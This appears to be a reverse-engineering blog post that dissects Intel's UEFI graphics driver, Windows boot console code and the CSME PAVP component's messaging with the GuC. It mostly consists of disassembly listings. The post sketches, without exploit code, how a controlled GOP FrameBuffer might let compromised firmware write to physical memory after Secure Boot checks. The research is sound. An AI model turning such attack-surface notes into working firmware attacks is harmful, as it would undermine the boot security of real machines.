.text:0000000000000240EFI_GRAPHICS_OUTPUT_PROTOCOL_GUIDdd9042A9DEh; Data1.text:0000000000000240; DATA XREF: HEADER:00000000000000ECβo.text:0000000000000240; HEADER:00000000000001D4βo ....text:0000000000000240dw23DCh; Data2.text:0000000000000240dw4A38h; Data3.text:0000000000000240db96h,0FBh,7Ah,0DEh,0D0h,80h,51h,6Ah; Data4.text:0000000000000250EFI_EDID_ACTIVE_PROTOCOL_GUIDdd0BD8C1056h; Data1.text:0000000000000250; DATA XREF: InstallGraphicsProto+124βo.text:0000000000000250; uninstall2?+9Bβo ....text:0000000000000250dw9F36h; Data2.text:0000000000000250dw44ECh; Data3.text:0000000000000250db92h,0A8h,0A6h,33h,7Fh,81h,79h,86h; Data4.text:0000000000000260EFI_EDID_DISCOVERED_PROTOCOL_GUIDdd1C0C34F6h; Data1.text:0000000000000260; DATA XREF: sub_1CA4+2A5βo.text:0000000000000260; InstallGraphicsProto+DFβo ....text:0000000000000260dw0D380h; Data2.text:0000000000000260dw41FAh; Data3.text:0000000000000260db0A0h,49h,8Ah,0D0h,6Ch,1Ah,66h,0AAh; Data4.text:0000000000000270GOP_DISPLAY_BRIGHTNESS_PROTOCOL_GUIDdd6FF23F1Dh; Data1.text:0000000000000270; DATA XREF: sub_1F78+B1βo.text:0000000000000270; uninstall2?+14Bβo ....text:0000000000000270dw877Ch; Data2.text:0000000000000270dw4B1Bh; Data3.text:0000000000000270db93h,0FCh,0F1h,42h,0B2h,0EEh,0A6h,0A7h; Data4.text:0000000000000280GOP_DISPLAY_BIST_PROTOCOL_GUIDdd0F51DD33Ah; Data1.text:0000000000000280; DATA XREF: sub_1F78+75βo.text:0000000000000280; uninstall2?+F5βo ....text:0000000000000280dw0E57Fh; Data2.text:0000000000000280dw4020h; Data3.text:0000000000000280db0B4h,66h,0F4h,0C1h,71h,0C6h,0E4h,0F7h; Data4.text:0000000000000290EFI_PCI_IO_PROTOCOL_GUIDdd4CF5B200h; Data1.text:0000000000000290; DATA XREF: DriverBindingProtoSupported+CBβo.text:0000000000000290; DriverBindingProtoSupported+173βo ....text:0000000000000290dw68B8h; Data2.text:0000000000000290dw4CA5h; Data3.text:0000000000000290db9Eh,0ECh,0B2h,3Eh,3Fh,50h,2,9Ah; Data4.text:00000000000002A0GOP_COMPONENT_NAME2_PROTOCOL_GUIDdd651B7EBDh; Data1.text:00000000000002A0; DATA XREF: GopEntryPoint+22Fβo.text:00000000000002A0dw0CE13h; Data2.text:00000000000002A0dw41D0h; Data3.text:00000000000002A0db82h,0E5h,0A0h,63h,0ABh,0BEh,9Bh,0B6h; Data4.text:00000000000002B0UNKNOWN_PROTOCOL_GUIDdd0DBCB2FCDh; Data1.text:00000000000002B0; DATA XREF: UnloadImage+9Aβo.text:00000000000002B0; GopEntryPoint+203βo.text:00000000000002B0dw0E29Ah; Data2.text:00000000000002B0dw410Eh; Data3.text:00000000000002B0db9Dh,0D9h,0FAh,9Dh,5Fh,0F4h,0CDh,0A7h; Data4.text:00000000000002C0MAYBE_AUX_PROTOCOL_GUID?dd0C7D4703Bh; Data1.text:00000000000002C0; DATA XREF: DriverBindingProtoStartImp+2A8βo.text:00000000000002C0; DriverBindingProtoStop+70βo.text:00000000000002C0dw0F36h; Data2.text:00000000000002C0dw4E51h; Data3.text:00000000000002C0db0A9h,83h,5Eh,61h,0ACh,0B8h,68h,3Ch; Data4.text:00000000000002D0EFI_DEVICE_PATH_PROTOCOL_GUIDdd9576E91h; Data1.text:00000000000002D0; DATA XREF: DriverBindingProtoSupported+5Fβo.text:00000000000002D0; DriverBindingProtoSupported+A2βo ....text:00000000000002D0dw6D3Fh; Data2.text:00000000000002D0dw11D2h; Data3.text:00000000000002D0db8Eh,39h,0,0A0h,0C9h,69h,72h,3Bh; Data4.text:00000000000002E0; EFI_GUID EFI_LOADED_IMAGE_PROTOCOL_GUID.text:00000000000002E0EFI_LOADED_IMAGE_PROTOCOL_GUIDdd5B1B31A1h; Data1.text:00000000000002E0; DATA XREF: GopEntryPoint+169βo.text:00000000000002E0dw9562h; Data2.text:00000000000002E0dw11D2h; Data3.text:00000000000002E0db8Eh,3Fh,0,0A0h,0C9h,69h,72h,3Bh; Data4.text:00000000000002F0EFI_DRIVER_BINDING_PROTOCOL_GUIDdd18A031ABh; Data1.text:00000000000002F0; DATA XREF: UnloadImage+BBβo.text:00000000000002F0; GopEntryPoint+1D2βo.text:00000000000002F0dw0B443h; Data2.text:00000000000002F0dw4D1Ah; Data3.text:00000000000002F0db0A5h,0C0h,0Ch,9,26h,1Eh,9Fh,71h; Data4.text:0000000000000300EFI_COMPONENT_NAME2_PROTOCOL_GUIDdd6A7A5CFFh; Data1.text:0000000000000300; DATA XREF: UnloadImage+A1βo.text:0000000000000300; GopEntryPoint+1B8βo.text:0000000000000300dw0E8D9h; Data2.text:0000000000000300dw4F70h; Data3.text:0000000000000300db0BAh,0DAh,75h,0ABh,30h,25h,0CEh,14h; Data4
A few couldn't be identified. Another "fast forward" trick I can use is to find all locations protocols are installed or requested.
If we look at how protocols are installed using gBOOT_SERVICES::InstallMultipleProtocolInterfaces:
We see the offset is pretty large, 0x148. We can just search for the wildcard "call qword ptr dword_148[reg]" and see if reg contains the global gBOOT_SERVICES. This way we can jump directly to the functions
and identify what they do and name them:
This also gets as all the function tables for these protocols, and helps us understand the global state struct for the driver. Unlike C++, the UEFI function receive a This pointer that contains both data members and function pointers, for example for the GOP protocol:
So the protocol structure has to be stored in some state structure. If the state structure is a singleton it can be stored as a global, but if we want multiple copies the driver allocates a state structure, places the protocol structure in a known offset within, and then can calculate the start of the structure from the This pointer provided to the protocol functions. We can use this information to try to piece together this global structre:
It won't be too interesting to just dump more and more dissassembled functions here, as our goal is to find possible access to GuC. None of the functions I identified had any connection to the GuC, so next I looked at all accesses to PCI devices, as GuC accesses should be made using PCI. The devices are identified using EFI_DEVICE_PATH_PROTOCOL and accessed through EFI_PCI_IO_PROTOCOL_GUID.
Long story short: no code in the GOP DXE driver communicates with the GuC.
Before moving on to CSME vs GuC, I was curious who exactly uses all these protocols, in the rest of the UEFI BIOS and Windows. I extracted the UEFI capsule and
also mounted the Windows ISO and WIM files (dism /mount-image /imagefile:e:\sources\install.wim /index:1 /mountdir:c:\mnt\install /readonly), and then
ran the following python script:
So basically most of the GOP DXE driver functions go unused and can be considered bloat β¦
Are EFI_GRAPHICS_OUTPUT_PROTOCOL and EFI_EDID_ACTIVE_PROTOCOL_GUID possible vectors for exploitation from UEFI -> Windows? Assume for example a DXE driver has a bug that can be exploited using specialized hardware, and you gain execution in the UEFI firmware during boot. Can these protocols be used as an attack surface to attack SecureBoot Windows?
As seen before, EFI_GRAPHICS_OUTPUT_PROTOCOL has a driver controlled Mode member
These structure are used in several functions inside the console library shared by all the relevant Windows components. The two main functions are ConsoleEfiGopOpen and ConsoleEfiGopEnable:
__int64__fastcallConsoleEfiGopOpen(CONSOLE_DATA*this){...if(EfiOpenProtocol(this->efi_handle,(__int64)&EfiGraphicsOutputProtocol,&gop_protocol)>=0){status=EfiGopGetCurrentMode(gop_protocol,&mode,&mode_info);if(status>=0){orig_mode=mode;new_mode=mode;...checkifmodeisallowed,ifnotgetallowedmode...// fill state with mode datais_rgb=mode_info.PixelFormat==PixelBlueGreenRedReserved8BitPerColor;this_1->gop_protocol=gop_protocol;this_1->new_mode=new_mode;this_1->orig_mode=orig_mode;if(is_rgb)bits_per_pixel=32;elseif(mode_info.PixelFormat==PixelBitMask)bits_per_pixel=24;else{status=STATUS_UNSUCCESSFUL;gotoexit_handler;}this_1->orig_horiz_res=mode_info.HorizontalResolution;this_1->orig_vert_res=mode_info.VerticalResolution;pixels_per_scan_line=mode_info.PixelsPerScanLine;this_1->orig_bits_per_pixel=bits_per_pixel;result=0i64;this_1->orig_pixels_per_scan_line=pixels_per_scan_line;returnresult;}exit_handler:EfiCloseProtocol(this_1->efi_handle,&EfiGraphicsOutputProtocol);return(unsignedint)status;}return0xC00000BB;}
EfiGopGetCurrentMode() in turn uses MmArchTranslateVirtualAddress to get physical addresses for the output:
The most we can get from this is an arbitary read from physical memory by Windows.
Lets look at ConsoleEfiGopEnable:
unsigned int __fastcall ConsoleEfiGopEnable(CONSOLE_DATA *this)
{
...
status = EfiGopGetCurrentMode(this->gop_protocol, &old_mode, &mode_info);
if ( status < 0 )
return status;
new_mode_1 = old_mode;
if ( old_mode != new_mode )
{
status = EfiGopSetMode(this_1->gop_protocol, new_mode);
if ( status >= 0 )
{
BlDisplayInvalidateOemBitmap();
EfiGopGetCurrentMode(this_1->gop_protocol, &mode, &mode_info);
new_mode_1 = old_mode;
}
}
if ( mode_info.PixelFormat == PixelBlueGreenRedReserved8BitPerColor )
bits_per_pixel = 32;
else if ( mode_info.PixelFormat == PixelBitMask )
bits_per_pixel = 24;
else { ...; return STATUS_UNSUCCESSFUL; }
EfiGopGetFrameBuffer(this_1->gop_protocol, &frame_buffer_base, &frame_buffer_size);
if ( BlMmMapPhysicalAddressEx(&frame_buffer, frame_buffer_base, frame_buffer_size, 8u, 0) >= 0
|| (status = BlMmMapPhysicalAddressEx(&frame_buffer, frame_buffer_base, frame_buffer_size, 1u, 0), status >= 0) )
{
this_1->frame_buffer = (void *)frame_buffer_1;
this_1->frame_buffer_size = frame_buffer_size;
this_1->bits_per_pixel = bits_per_pixel;
this_1->horiz_res = mode_info.HorizontalResolution;
... contonue filling this_1 with mode_info ...
return result;
}
}
return STATUS_UNSUCCESSFUL;
Here Windows map the physical address supplied by GOP->FrameBuffer (retrieved in EfiGopGetFrameBuffer) into Windows.
We can control FrameBuffer so we might be able to arbitarily map any physical memory as the frame buffer.
How does that help us? If for example the OEM logo (specified in the 'BGRT' ACPI table) is copied to the FrameBuffer, we can write data under our control to a physical address under our control - after the bootmgr has already been verified as part of the Secure Boot process.
But this is tangental to this post so weβll examine this vector in a future post.
Part 2: From CSME
Now lets turn to the question wether CSME accesses the GuC and vice-versa.
The CSME is really big, so an exhastive disassembly like we did for the GOP is less relevant. So where might the CSME engine need to communicate with the GuC?
One place that comes into mind is the PAVP - Protected Audio Video Path. This is the component that protects protected HD content from being copied. The protection is implemented by creating a secure pipeline from the media components in the Windows kernel, through the GFX driver, and all the way to the display. The CSME is used to protect the pipeline including certs, keys and much more.
We can start with the CSME HECI (Host Embedded Controller Interface) driver on Windows and find the relevant HECI messages.
One group of interesting messages I found was for the LSPCON component. LSPCON stands for Level Shifter and Protocol Converter, which is used for HDR signalling over HDMI.
No hard work means no fish, so we go on a fishing expedition and finally manage to extract the PAVP component from an old CSME15 build. Its about 300KB in size, so still quite big.
Reversing this I went down a deep rabbit hole. I finally discovered a function I named PAVP_init_heci, that is called from main and initializes the HECI communication module in PAVP and registers an interface with three functions:
handle async messages - PAVP_handle_async_message
HECI connection request - PAVP_connect
HECI disconnect request - PAVP_disconnect
(all the names are mine)
PAVP_heci_handle_async_message() handles different types of messages like widevine, asmf, PlayReady and so on. We are interested in CPHS - Intel Content Protection HECI Service, a function I named PAVP_process_cphs_message(). Digging deeper we eventually reach the LSPCON command handler:
.text:0010775B; int __cdecl LSPCON_command_handler(PavpCtx *ctx, void *heci_msg, int heci_msg_len, int max_out_len, int *out_len).text:0010775BLSPCON_command_handlerprocnear; CODE XREF: PAVP_heci_command_handler+8Dβp.text:0010775B.text:0010775Bvar_14=dwordptr-14h.text:0010775Bmsg_len=dwordptr-10h.text:0010775Bctx=dwordptr8.text:0010775Bheci_msg=dwordptr0Ch.text:0010775Bheci_msg_len=dwordptr10h.text:0010775Bmax_out_len=dwordptr14h.text:0010775Bout_len=dwordptr18h.text:0010775B.text:0010775Bcmd=ebx.text:0010775Bpushebp.text:0010775Cmovebp,esp.text:0010775Epushedi.text:0010775Fpushesi.text:00107760pushcmd.text:00107761subesp,8.text:00107764moveax,[ebp+heci_msg_len].text:00107767movecx,[ebp+ctx].text:0010776Amov[ebp+msg_len],eax.text:0010776Dmoveax,[ebp+max_out_len].text:00107770movcmd,[ebp+heci_msg].text:00107773mov[ebp+var_14],eax.text:00107776movesi,[ebp+out_len].text:00107779testecx,ecx.text:0010777Bjzshorterr_cmd_not_in_range.text:0010777Dcmp[ecx+PavpCtx.Lspcon],0.text:00107781jzshorterr_cmd_not_in_range.text:00107783testcmd,cmd.text:00107785setzdl.text:00107788testesi,esi.text:0010778Asetzal.text:0010778Dordl,al.text:0010778Fjnzshorterr_cmd_not_in_range.text:00107791cmp[ebp+msg_len],0Fh; cmd_len <= sizeof(LSPCON_heci_command_header_t).text:00107795jashortis_cmd_id_in_heci_range
It begins by verifying the command buffer is big enough to fit the LSPCON HECI command header:
Reveresing all the command handlers we find something interesting in the most unexpected one (thus the last I REd): LSPCON_playback_done(). It took me a while to even understand its releated to the GuC, and Iβll explain later how it does so.
What does LSPCON_playback_done do? It checks whether HDCP restrictions should remain in place after a playback is complete.
The function begins by verifying the input parameter (LSPCON_HECICMD_PLAYBACK_DONE_IN) is valid:
.text:00107C6B; int __cdecl LSPCON_playback_done(PavpCtx *ctx, void *msg).text:00107C6BLSPCON_playback_doneprocnear.text:00107C6B.text:00107C6Bcur_hdcp_requirements=dwordptr-18h.text:00107C6Bcount_active_sessions=dwordptr-14h.text:00107C6Bvar_10=dwordptr-10h.text:00107C6Bctx=dwordptr8.text:00107C6Bmsg=dwordptr0Ch.text:00107C6B.text:00107C6Bctx_ptr=edi.text:00107C6Bpushebp.text:00107C6Cmovebp,esp.text:00107C6Epushctx_ptr.text:00107C6Fpushesi.text:00107C70pushebx.text:00107C71subesp,0Ch.text:00107C74mov[ebp+count_active_sessions],0.text:00107C7Bmovesi,[ebp+msg].text:00107C7Emoveax,ds:stack_cookie_ptr.text:00107C83mov[ebp+var_10],eax.text:00107C86xoreax,eax.text:00107C88movctx_ptr,[ebp+ctx].text:00107C8Btestesi,esi.text:00107C8Djnzshortcheck_valid_header....text:00107C99check_valid_header:; CODE XREF: LSPCON_playback_done+22βj.text:00107C99mov[esi+LSPCON_HECICMD_PLAYBACK_DONE_IN.header.size],0.text:00107CA0testctx_ptr,ctx_ptr.text:00107CA2jzshortinvalid_parameter.text:00107CA4cmp[ctx_ptr+PavpCtx.Lspcon],0.text:00107CA8jzshortinvalid_parameter
If there are any remaining active sessions the code continues to check what level of HDCP protection they require and set protection to that level if it is lower then the current level, I wonβt go into that disassembly as its not really interesting.
Why do I think GUC_get_active_sessions is actually related to GuC and why did I name it that? Lets continue by examining this function. Its just a wrapper around a function I called GUC_send_message that sends message no. 6,
.text:0010452C; int __cdecl GUC_get_active_sessions(PavpCtx *ctx, int type, unsigned int *num_active_sessions).text:0010452CGUC_get_active_sessionsprocnear; CODE XREF: LSPCON_playback_done+46βp.text:0010452C.text:0010452Cguc2csme=GUC2CSME_MSGptr-18h.text:0010452Ccsme2guc=CSME2GUC_MSGptr-10h.text:0010452Cctx=dwordptr8.text:0010452Ctype=dwordptr0Ch.text:0010452Cnum_active_sessions=dwordptr10h.text:0010452C.text:0010452Cctx_ptr=esi....text:0010455Btype_ok:.text:0010455Bmovdwordptr[ebp+csme2guc.command],GUC_MSG_GET_ACTIVE_SESSIONS; =6.text:00104562mov[ebp+csme2guc.data1],al.text:00104565leaeax,[ebp+guc2csme.value].text:00104568mov[ebp+guc2csme.value],0.text:0010456Fpusheax; guc2csme.text:00104570leaeax,[ebp+csme2guc].text:00104573pusheax; csme2guc.text:00104574pushctx_ptr; ctx.text:00104575callGUC_send_message
GUC_send_message() gets two parameters in addition to the PAVP context: a CSME2GUC structure and a GUC2CSME structure. How does it work?
It tries to send the message several times in a loop, each time waiting for a short timeout. The first iteration of the loop also wakes the GuC by enabling it through managment functions (if it isnβt already enabled), and sending a special wake message using a function I named GUC_send_VDM().
.text:001041FF; int __cdecl GUC_send_message(PavpCtx *ctx, CSME2GUC_MSG *csme2guc, GUC2CSME_MSG *guc2csme).text:001041FFGUC_send_messageprocnear; CODE XREF: GUC_get_active_sessions+49βp.text:001041FF; sub_1045C5+3Fβp.text:001041FF.text:001041FFctx=dwordptr8.text:001041FFcsme2guc=dwordptr0Ch.text:001041FFguc2csme=dwordptr10h.text:001041FF.text:001041FFattempt=esi.text:001041FFctx_ptr=ebx.text:001041FFpushebp.text:00104200movebp,esp.text:00104202pushedi.text:00104203pushattempt.text:00104204xorattempt,attempt.text:00104206pushctx_ptr.text:00104207movctx_ptr,[ebp+ctx].text:0010420A.text:0010420Asend_loop:; CODE XREF: GUC_send_message+A3βj.text:0010420Aincattempt.text:0010420Bcmpattempt,1.text:0010420Ejnzshortsend_wake_msg_loop.text:00104210.text:00104210first_attempt:.text:00104210pushctx_ptr.text:00104211callGUC_disable_power_gate?.text:00104216movedi,eax.text:00104218popeax.text:00104219testedi,edi.text:0010421Bjnzloc_1042A8.text:00104221.text:00104221send_wake_msg_loop:; CODE XREF: GUC_send_message+Fβj.text:00104221; GUC_send_message+4Eβj.text:00104221pushVDM_CSME_TO_GUC_WAKE_REQ.text:00104223push0; msg.text:00104225pushctx_ptr.text:00104226callGUC_send_VDM; VDM == Vendor Defined Message?.text:0010422Baddesp,0Ch.text:0010422Emovedi,eax.text:00104230testeax,eax.text:00104232jnzmsg_error.text:00104238push[ebp+guc2csme].text:0010423BpushGUC_IS_AWAKE.text:0010423Dpushctx_ptr.text:0010423EcallGUC_wait_for_message; wait for GUC is awake message.text:00104243addesp,0Ch.text:00104246movedi,eax.text:00104248cmpeax,PAVP_STATUS_TRY_AGAIN.text:0010424Djzshortsend_wake_msg_loop.text:0010424Fcmpeax,PAVP_STATUS_TIMEOUT.text:00104254jnzshortgot_awake_msg.text:00104256.text:00104256timeout:; CODE XREF: GUC_send_message+92βj.text:00104256; GUC_send_message+C9βj.text:00104256movedi,PAVP_STATUS_TIMEOUT.text:0010425Bjmpshortloc_104297.text:0010425D; ---------------------------------------------------------------------------.text:0010425D
Once the GuC awake message was received the actually GuC message is send, again with GUC_send_VDM().
Its then waits for the return message GUC_wait_for_message().
Now you have to say - Wise guy, how do you know this is actually releated to GuC? What is this VDM stuff? Did Ded Moroz drop them in your cabin?
VDMs are Vendor Defined Messages, a way to send custom messages to devices over a PCI bus. They are sent through IOCTLs to the VDM driver in CSME. The IOCTL gets data through a message:
00000000IOCTL_VDM_WRITEstruc; (sizeof=0x12, mappedto_145)00000000addr_offsetdd?00000004datadd?; This is a bitfield per the spec00000008infoVDM_TX?00000012IOCTL_VDM_WRITEends
The IOCTL is sent to a file handle. Where is it set? We now go back to the PAVP init code and look for all places where file handles are init. There we find to functions I am pretty sure initialize the GuC and the Graphics Key Manager (GKM), thus I appropriatly named them GUC_init() and GKM_init() (I keep reminding you I named these functions as I have no clue what is their realy name, these are my guesses).
As usual, the function begins by checking it's input argument:
.text:001043E2push90; sizeof(GucContext.text:001043E4push1.text:001043E6callnearptrcalloc; allocate GucContext (0x5A bytes).text:001043EBmov[ctx_ptr+PavpCtx.guc_ctx],eax.text:001043EEtesteax,eax.text:001043F0popesi.text:001043F1popedx.text:001043F2jnzshortalloc_ok; start with no FD
It first checks if a file descriptor has already been setup by the Graphics Key Manager, and if so uses the same file descriptor - apparently they share the same VDM channel. Otherwise a new FD is setup in setup_guc_vdm(). The rest of the code initializes two timers - one related to some kind of watchdog and the other to power managment.
.text:0010440C.text:0010440Calloc_ok:; CODE XREF: GUC_init+2Fβj.text:0010440Cmov[eax+GucCtx.vdm_file_descriptor],0FFFFFFFFh; start with no FD.text:00104412moveax,[ctx_ptr+PavpCtx.graphic_key_mgr].text:00104415testeax,eax.text:00104417jzshortno_gkm.text:00104419movedx,[ctx_ptr+PavpCtx.guc_ctx].text:0010441Cmoveax,[eax+GkmCtx.vdm_file_descriptor].text:0010441Fmov[edx+GucCtx.vdm_file_descriptor],eax.text:00104421.text:00104421no_gkm:; CODE XREF: GUC_init+54βj.text:00104421moveax,[ctx_ptr+PavpCtx.guc_ctx].text:00104424cmp[eax+GucCtx.vdm_file_descriptor],0.text:00104427jnsshortloc_104441.text:00104429push4B00FDh.text:0010442Emovesi,100Eh.text:00104433push2.text:00104435callnearptrlog_printf_0.text:0010443Apopeax.text:0010443Bpopedx.text:0010443Cjmpinvalid_paramter.text:00104441; ---------------------------------------------------------------------------.text:00104441.text:00104441loc_104441:; CODE XREF: GUC_init+64βj.text:00104441addeax,GucCtx.vdm.text:00104444pusheax.text:00104445callsetup_guc_vdm.text:0010444Amovesi,eax
Here we have the internal bus IDs for the GuC and CSME.
Results are retrieved using GUC_wait_for_message() - it uses select() to wait on the VDM file handle and parses the message.
Something interesting I found out it that messages are not initiated only by the CSME - the GuC can initiate messages to the CSME and the CSME responds. GUC_wait_for_message() uses a handler table with 11 entries, but 4 are NULL.
For example, one message I decoded gets some production information for the chip:
.text:00103EDAGUC_api_get_production_infoprocnear.text:00103EDA.text:00103EDAvar_14=byteptr-14h.text:00103EDAvar_13=byteptr-13h.text:00103EDAvar_E=byteptr-0Eh.text:00103EDAvar_D=byteptr-0Dh.text:00103EDAvar_C=dwordptr-0Ch.text:00103EDActx=dwordptr8.text:00103EDA.text:00103EDActx_ptr=esi.text:00103EDApushebp.text:00103EDBmovebp,esp.text:00103EDDpushctx_ptr.text:00103EDEpushebx.text:00103EDFsubesp,0Ch.text:00103EE2mov[ebp+var_14],0.text:00103EE6movctx_ptr,[ebp+ctx].text:00103EE9moveax,ds:stack_cookie_ptr.text:00103EEEmov[ebp+var_C],eax.text:00103EF1xoreax,eax.text:00103EF3pushctx_ptr.text:00103EF4callGUC_enable_power_gate.text:00103EF9leaeax,[ebp+var_14].text:00103EFCpusheax.text:00103EFDcalltest_byte_12h_from_snowball_rbe_sku.text:00103F02popecx.text:00103F03testeax,eax.text:00103F05popebx.text:00103F06movebx,109h.text:00103F0Bjnzshortloc_103F48.text:00103F0Dmovebx,9.text:00103F12cmp[ebp+var_14],0.text:00103F16jnzshortloc_103F48.text:00103F18leaeax,[ebp+var_13].text:00103F1Bmovebx,109h.text:00103F20pusheax.text:00103F21callget_7_bytes_from_snowball_rbe_sku.text:00103F26popedx.text:00103F27testeax,eax.text:00103F29jnzshortloc_103F48.text:00103F2Bmovbl,[ebp+var_E].text:00103F2Emoval,[ebp+var_D].text:00103F31shrbl,2; actuall data from CPUs looks like production year & week.text:00103F34andeax,0Fh.text:00103F37shleax,9.text:00103F3Aandebx,3Fh.text:00103F3Dshlebx,0Dh.text:00103F40orebx,109h.text:00103F46orebx,eax.text:00103F48.text:00103F48loc_103F48:; CODE XREF: GUC_api_get_production_info+31βj.text:00103F48; GUC_api_get_production_info+3Cβj ....text:00103F48pushctx_ptr.text:00103F49callGUC_enable_power_gate.text:00103F4Epush2.text:00103F50pushebx.text:00103F51pushctx_ptr.text:00103F52callGUC_send_VDM.text:00103F57movedx,[ebp+var_C].text:00103F5Axoredx,ds:stack_cookie_ptr.text:00103F60jzshortloc_103F67.text:00103F62callnearptr__stkchk.text:00103F67.text:00103F67loc_103F67:; CODE XREF: GUC_api_get_production_info+86βj.text:00103F67leaesp,[ebp-8].text:00103F6Apopebx.text:00103F6Bpopctx_ptr.text:00103F6Cpopebp.text:00103F6Dretn.text:00103F6DGUC_api_get_production_infoendp
Why do I think this is related to production information? Because it reads data from a file called "/snowball/rbe_sku" (Intelβs name!).
I donβt have any idea what Snowball means, RBE usualy means ROM Boot Extenion, so it reads data from the ROM?
The actuall data from a few processors appears to be correlated to production year and work week for the CPU.
I am still actively working on this to see what attack surfaces there are from GuC->CSME and CSME->GuC, but it looks like Intel did a really good job checking bounds and arguments. The Graphics Key Manager is next in the queue, it look like the surface there is more promising.
There is also a lot more to decode in PAVP, I only decoded a small part of the context structure:
Enough for today, especially as my day job has warmed up a bit in the last three weeks - more on that later! I promise it will be very interesting (but not hardware related).